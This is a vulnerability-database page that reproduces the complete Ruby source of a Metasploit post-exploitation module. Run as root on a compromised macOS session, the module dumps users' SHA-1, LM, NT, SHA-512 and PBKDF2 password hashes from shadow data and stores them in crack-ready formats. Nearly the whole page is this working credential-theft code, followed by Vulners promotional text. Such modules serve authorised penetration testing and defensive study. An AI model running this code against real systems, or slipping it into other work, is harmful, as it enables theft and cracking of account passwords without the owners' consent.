Lucene search
K

OS X Gather Mac OS X Password Hash Collector

OS X Gather Mac OS X Password Hash Collector module dumps SHA-1, LM, NT, and SHA-512 Hashes on OSX. Supports versions 10.3 to 10.14

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rexml/document'

class MetasploitModule < Msf::Post
  # set of accounts to ignore while pilfering data
  # OSX_IGNORE_ACCOUNTS = ["Shared", ".localized"]

  include Msf::Post::File
  include Msf::Post::OSX::Priv
  include Msf::Post::OSX::System
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'OS X Gather Mac OS X Password Hash Collector',
        'Description' => %q{
          This module dumps SHA-1, LM, NT, and SHA-512 Hashes on OSX. Supports
          versions 10.3 to 10.14.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Carlos Perez <carlos_perez[at]darkoperator.com>',
          'hammackj <jacob.hammack[at]hammackj.com>',
          'joev'
        ],
        'Platform' => [ 'osx' ],
        'SessionTypes' => %w[shell meterpreter]
      )
    )
    register_options([
      OptRegexp.new('MATCHUSER', [
        false,
        'Only attempt to grab hashes for users whose name matches this regex'
      ])
    ])
  end

  # Run Method for when run command is issued
  def run
    unless is_root?
      fail_with(Failure::BadConfig, 'Insufficient Privileges: must be running as root to dump the hashes')
    end

    # iterate over all users
    get_nonsystem_accounts.each do |user_info|
      user = user_info['name']
      next if datastore['MATCHUSER'].present? && datastore['MATCHUSER'] !~ (user)

      print_status "Attempting to grab shadow for user #{user}..."
      if gt_lion? # 10.8+
        # pull the shadow from dscl
        shadow_bytes = grab_shadow_blob(user)
        next if shadow_bytes.blank?

        # on 10.8+ ShadowHashData stores a binary plist inside of the user.plist
        # Here we pull out the binary plist bytes and use built-in plutil to convert to xml
        plist_bytes = shadow_bytes.split('').each_slice(2).map { |s| "\\x#{s[0]}#{s[1]}" }.join

        # encode the bytes as \x hex string, print using bash's echo, and pass to plutil
        shadow_plist = cmd_exec("/bin/bash -c 'echo -ne \"#{plist_bytes}\" | plutil -convert xml1 - -o -'")

        # read the plaintext xml
        shadow_xml = REXML::Document.new(shadow_plist)

        # parse out the different parts of sha512pbkdf2
        dict = shadow_xml.elements[1].elements[1].elements[2]
        entropy = Rex::Text.to_hex(dict.elements[2].text.gsub(/\s+/, '').unpack('m*')[0], '')
        iterations = dict.elements[4].text.gsub(/\s+/, '')
        salt = Rex::Text.to_hex(dict.elements[6].text.gsub(/\s+/, '').unpack('m*')[0], '')

        # PBKDF2 stored in <iterations, salt, entropy> format
        decoded_hash = "$ml$#{iterations}$#{salt}$#{entropy}"
        report_hash('SHA-512 PBKDF2', decoded_hash, user)
      elsif lion? # 10.7
        # pull the shadow from dscl
        shadow_bytes = grab_shadow_blob(user)
        next if shadow_bytes.blank?

        # on 10.7 the ShadowHashData is stored in plaintext
        hash_decoded = shadow_bytes.downcase

        # Check if NT HASH is present
        if hash_decoded =~ /4f1010/
          report_hash('NT', hash_decoded.scan(/^\w*4f1010(\w*)4f1044/)[0][0], user)
        end

        # slice out the sha512 hash + salt
        # original regex left for historical purposes.  During testing it was discovered that
        # 4f110200 was also a valid end.  Instead of looking for the end, since its a hash (known
        # length) we can just set the length
        # sha512 = hash_decoded.scan(/^\w*4f1044(\w*)(080b190|080d101e31)/)[0][0]
        sha512 = hash_decoded.scan(/^\w*4f1044(\w{136})/)[0][0]
        report_hash('SHA-512', sha512, user)
      else # 10.6 and below
        # On 10.6 and below, SHA-1 is used for encryption
        guid = if gte_leopard?
                 cmd_exec("/usr/bin/dscl localhost -read /Search/Users/#{user} | grep GeneratedUID | cut -c15-").chomp
               elsif lte_tiger?
                 cmd_exec("/usr/bin/niutil -readprop . /users/#{user} generateduid").chomp
               end

        # Extract the hashes
        sha1_hash = cmd_exec("cat /var/db/shadow/hash/#{guid} | cut -c169-216").chomp
        nt_hash = cmd_exec("cat /var/db/shadow/hash/#{guid} | cut -c1-32").chomp
        lm_hash = cmd_exec("cat /var/db/shadow/hash/#{guid} | cut -c33-64").chomp

        # Check that we have the hashes and save them
        if sha1_hash !~ /0000000000000000000000000/
          report_hash('SHA-1', sha1_hash, user)
        end
        if nt_hash !~ /000000000000000/
          report_hash('NT', nt_hash, user)
        end
        if lm_hash !~ /0000000000000/
          report_hash('LM', lm_hash, user)
        end
      end
    end
  end

  private

  # @return [Bool] system version is at least 10.5
  def gte_leopard?
    ver_num =~ /10\.(\d+)/ and ::Regexp.last_match(1).to_i >= 5
  end

  # @return [Bool] system version is at least 10.8
  def gt_lion?
    ver_num =~ /10\.(\d+)/ and ::Regexp.last_match(1).to_i >= 8
  end

  # @return [String] hostname
  def host
    session.session_host
  end

  # @return [Bool] system version is 10.7
  def lion?
    ver_num =~ /10\.(\d+)/ and ::Regexp.last_match(1).to_i == 7
  end

  # @return [Bool] system version is 10.4 or lower
  def lte_tiger?
    ver_num =~ /10\.(\d+)/ and ::Regexp.last_match(1).to_i <= 4
  end

  # parse the dslocal plist in lion
  def read_ds_xml_plist(plist_content)
    doc = REXML::Document.new(plist_content)
    keys = []
    doc.elements.each('plist/dict/key') { |n| keys << n.text }

    fields = {}
    i = 0
    doc.elements.each('plist/dict/array') do |element|
      data = []
      fields[keys[i]] = data
      element.each_element('*') do |thing|
        data_set = thing.text
        if data_set
          data << data_set.gsub("\n\t\t", '')
        else
          data << data_set
        end
      end
      i += 1
    end
    return fields
  end

  # reports the hash info to metasploit backend
  def report_hash(type, hash, user)
    return unless hash.present?

    print_good("#{type}:#{user}:#{hash}")
    case type
    when 'NT'
      private_data = "#{Metasploit::Credential::NTLMHash::BLANK_LM_HASH}:#{hash}"
      private_type = :ntlm_hash
      jtr_format = 'ntlm'
    when 'LM'
      private_data = "#{hash}:#{Metasploit::Credential::NTLMHash::BLANK_NT_HASH}"
      private_type = :ntlm_hash
      jtr_format = 'lm'
    when 'SHA-512 PBKDF2'
      private_data = hash
      private_type = :nonreplayable_hash
      jtr_format = 'PBKDF2-HMAC-SHA512'
    when 'SHA-512'
      private_data = hash
      private_type = :nonreplayable_hash
      jtr_format = 'xsha512'
    when 'SHA-1'
      private_data = hash
      private_type = :nonreplayable_hash
      jtr_format = 'xsha'
    end
    create_credential(
      jtr_format: jtr_format,
      workspace_id: myworkspace_id,
      origin_type: :session,
      session_id: session_db_id,
      post_reference_name: refname,
      username: user,
      private_data: private_data,
      private_type: private_type
    )
    print_status('Credential saved in database.')
  end

  # @return [String] containing blob for ShadowHashData in user's plist
  # @return [nil] if shadow is invalid
  def grab_shadow_blob(user)
    shadow_bytes = cmd_exec("dscl . read /Users/#{user} dsAttrTypeNative:ShadowHashData").gsub(/\s+/, '')
    return nil unless shadow_bytes.start_with? 'dsAttrTypeNative:ShadowHashData:'

    # strip the other bytes
    shadow_bytes.sub!(/^dsAttrTypeNative:ShadowHashData:/, '')
  end

  # @return [String] version string (e.g. 10.8.5)
  def ver_num
    @product_version ||= get_sysinfo['ProductVersion']
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation